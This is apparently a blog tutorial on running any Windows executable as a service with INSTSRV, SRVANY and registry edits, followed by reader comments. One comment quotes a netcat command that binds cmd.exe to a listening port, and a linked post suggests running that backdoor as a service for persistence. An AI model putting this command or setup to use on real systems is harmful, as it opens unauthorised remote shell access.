- 16
- Sep
HACKER ALERT: This has not been tested with Vista. This method is known to work with 2000/XP/2003 Server.
The following will allow you to turn almost any .exe file into a service. Beware that some .exe files will need command line parameters passed to run with functionality.
Log in with administrative privileges. Also, verify that both INSTSRV.EXE and SRVANY.EXE are stored in a directory within the search path.
HACKER ALERT: Be careful were you put the SRVANY.EXE because it has to stay there for the service to run.
1. Open up an MS-DOS command prompt and navigate to where you saved the files (Download at the bottom).
2. Type the following command: INSTSRV [service name] SRVANY.EXE
where [service name] is the name of the service you are setting up. The service name can be whatever you want, but should be descriptive.
3. Remove service example:
INSTSRV [service name] REMOVE were [service name] is the service name.
4. Open up the Registry Editor (Click on the Start Button, select Run, and type REGEDIT)
bullet Locate the following key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\[service name]
- From the Edit menu, select New, select Key, and name the new key Parameters
- Highlight the Parameters key
- From the Edit menu, select New, select String Value, and name the new value Application
- From the Edit menu, select Modify, and type in the full path name and application name, including the drive letter and file extension
- Example: D:\Program Files\Network Monitor\netmon.exe
5. Close the Registry Editor.
6. You may now start the service from services.msc.
Related Posts
Tags: DIY, instsrv, Service, srvany, Tutorials, Windows



January 15th, 2008 at 12:08 pm
[...] NOTE: As soon as you disconnect netcat will stop running. You might look into running it as a service. [...]
March 25th, 2008 at 7:24 am
RESPECTABLE FRIEND;
Can you plz tell me just one thing about what you have told us to use the netcat as the backdoor
what is this
Execute nc -d -L -e cmd.exe -p 10001. Change 10001 to which ever port you wish.
i didn’t understand this can you plz explain this for me
plz send me answer on archhanasinha@yahoo.co.in
July 7th, 2008 at 9:20 am
real useful stuff. i like it.